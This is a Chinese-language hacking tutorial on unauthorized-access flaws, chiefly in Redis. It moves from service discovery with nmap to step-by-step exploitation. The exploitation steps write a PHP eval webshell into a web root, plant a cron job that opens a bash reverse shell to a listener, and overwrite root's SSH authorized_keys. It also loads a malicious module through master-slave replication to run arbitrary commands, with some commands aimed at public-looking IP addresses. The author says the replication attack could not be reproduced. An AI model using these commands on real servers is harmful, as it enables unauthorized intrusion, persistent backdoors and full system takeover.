未授权访问
未授权概述
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
常见未授权访问漏洞
Redis 未授权访问漏洞
Docker 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞
Redis未授权访问
Redis 是完全开源免费的,一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。
Redis 主要有两个应用场景:
- 存储 缓存 用的数据;
- 需要高速读/写的场合使用它快速读/写;
Redis 架构
Redis 主要由有两个程序组成:
Redis 客户端 redis-cli
Redis 服务器 redis-server
客户端、服务器可以位于同一台计算机或两台不同的计算机中
漏洞发现
端口
Redis 服务默认监听在6379端口上
MongoDB:27017
Memcached:11211
Jboss:8080
VNC:5900、5901
Docker:2375
端口探测
nmap端口扫描
nmap -v -Pn -p 6379 -sV IP
-v:显示过程
-Pn:no ping-
sV:版本探测
Redis常用命令
redis连接远程服务器:
redis-cli -h host -p port -a password
set testkey "Hello World" # 设置键testkey的值为字符串
get testkey # 获取键testkey的内容
set score 99 # 设置键score的值为99
incr score # 使用INCR命令将score的值增加
get score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
Redis历史漏洞
Redis未授权访问
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。
- 导致敏感信息泄露
- 执行flushall可清空所有数据
- 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)
- 如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录
Redis主从复制RCE
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的
漏洞利用
漏洞环境搭建
docker pull medicean/vulapps:r_redis_1
docker run -dit -p 6379:6379 -p 2222:22
medicean/vulapps:r_redis_1
漏洞利用方法
1. 通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
2. 通过redis数据备份功能写定时任务,通过定时任务反弹Shell
3. 通过redis数据备份功能写SSH公钥,实现免密登录linux服务器
安装 redis-cli 客户端
4. 包管理器安装
apt install redis-tools
2.源码安装
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz //解压
cd redis-6.0.3/
make //编译
cd src/
cp redis-cli /usr/bin //客户端连接程序
写webshell
条件
- 知道网站根目录绝对路径
- 对目标网站根目录有写入权
redis-cli -h 10.1.1.200 -p 6379
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']);?>"
save
写定时任务反弹shell
redis-cli -h 10.1.1.200 -p 6379
set xxx "\n\n*/1 * * * * /bin/bash -i>&
/dev/tcp/10.1.1.100/4433 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
写SSH公钥
默认情况下,生成的SSH密钥在用户家目录的 .ssh 目录下
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") >
/tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set m
redis-cli -h 192.168.1.100 -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
ssh root@139.9.198.30 -i ~/.ssh/id_rsa
主从复制RCE
如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情 况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中 主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一 种通过牺牲空间来换取效率的缓解方式。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通 过写C语言并编译出.so文件。
1.手动编译so扩展文件
编译生成so扩展文件
cd /root/
git clone https://github.com/puckiestyle/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make
2.脚本利用Redis主从复制RCE
https://github.com/puckiestyle/RedisModules-ExecuteCommand
https://github.com/Ridter/redis-rce
https://github.com/Dliv3/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell
cd /root/
git clone https://github.com/Ridter/redis-rce
cd redis-rce
python3 -m pip install -r requirement.txt
cp /root/RedisModules-ExecuteCommand/module.so ./module.so
python3 redis-rce.py -r 124.71.45.28 -p 6379 -L 47.104.255.11 -P 7890 -f modules.s
redis-cli -h 124.71.45.28 -p 6379
config get dir
config get dbfilename
system.exec "id"
脚本原理
- 首先连接目标未授权redis服务
- 发送配置主从模式的命令到目标redis服务
命令如下:
slaveof 47.104.255.11 7890
config set dbfilename module.so
- 监听
124.71.45.28:7890 作为redis主机 - 目标机器(从机)从主机复制 module.so 内容保存到文件中
- 目标机器加载module.so扩展模块
MODULE LOAD ./module.so
- 执行命令
system.exec "命令"
注意:这漏洞我也没能复现出来,真的要弄 需要百度查一下才行
可参考:https://www.cnblogs.com/hellobao/articles/17356185.html
https://zhuanlan.zhihu.com/p/697885693